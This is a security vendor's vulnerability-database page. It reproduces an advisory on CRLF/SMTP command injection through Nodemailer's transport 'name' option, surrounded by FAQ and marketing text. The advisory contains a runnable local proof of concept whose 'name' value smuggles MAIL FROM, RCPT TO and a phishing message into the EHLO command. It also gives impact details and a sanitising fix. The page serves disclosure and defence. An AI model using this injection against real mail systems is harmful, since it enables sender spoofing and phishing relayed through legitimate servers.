How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

346,508

Total vulnerabilities in the database

Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) — nodemailer

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand(&#039;EHLO &#039; + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + &#039;\r\n&#039;, &#039;utf-8&#039;));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require(&#039;nodemailer&#039;);
const net = require(&#039;net&#039;);

// Simple SMTP server to observe injected commands
const server = net.createServer(socket =&gt; {
    socket.write(&#039;220 test ESMTP\r\n&#039;);
    socket.on(&#039;data&#039;, data =&gt; {
        const lines = data.toString().split(&#039;\r\n&#039;).filter(l =&gt; l);
        lines.forEach(line =&gt; {
            console.log(&#039;SMTP CMD:&#039;, line);
            if (line.startsWith(&#039;EHLO&#039;) || line.startsWith(&#039;HELO&#039;))
                socket.write(&#039;250 OK\r\n&#039;);
            else if (line.startsWith(&#039;MAIL FROM&#039;))
                socket.write(&#039;250 OK\r\n&#039;);
            else if (line.startsWith(&#039;RCPT TO&#039;))
                socket.write(&#039;250 OK\r\n&#039;);
            else if (line === &#039;DATA&#039;)
                socket.write(&#039;354 Go\r\n&#039;);
            else if (line === &#039;.&#039;)
                socket.write(&#039;250 OK\r\n&#039;);
            else if (line === &#039;QUIT&#039;)
                { socket.write(&#039;221 Bye\r\n&#039;); socket.end(); }
            else if (line === &#039;RSET&#039;)
                socket.write(&#039;250 OK\r\n&#039;);
        });
    });
});

server.listen(0, &#039;127.0.0.1&#039;, () =&gt; {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: &#039;127.0.0.1&#039;,
        port: port,
        secure: false,
        name: &#039;legit.host\r\nMAIL FROM:&lt;[email protected]&gt;\r\n&#039;
            + &#039;RCPT TO:&lt;[email protected]&gt;\r\nDATA\r\n&#039;
            + &#039;From: [email protected]\r\nTo: [email protected]\r\n&#039;
            + &#039;Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET&#039;
    });

    transport.sendMail({
        from: &#039;[email protected]&#039;,
        to: &#039;[email protected]&#039;,
        subject: &#039;Normal email&#039;,
        text: &#039;Normal content&#039;
    }, () =&gt; { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

Multi-tenant SaaS platforms with per-tenant SMTP configuration
Admin panels where SMTP hostname/name settings are stored in databases
Applications loading SMTP config from environment variables or external sources

What can an attacker do:

Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
Spoof email senders by injecting arbitrary From headers in the DATA portion
Conduct phishing attacks using the legitimate SMTP server as a relay
Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, &#039;&#039;);

Published: Apr 8, 2026
Updated: Apr 9, 2026
GHSA: GHSA-vvjj-xcjg-gr5g
Severity: Medium
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

CWEs:

CWE-93

Affected Software
References

Software	From	Fixed in
nodemailer	-	8.0.5

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.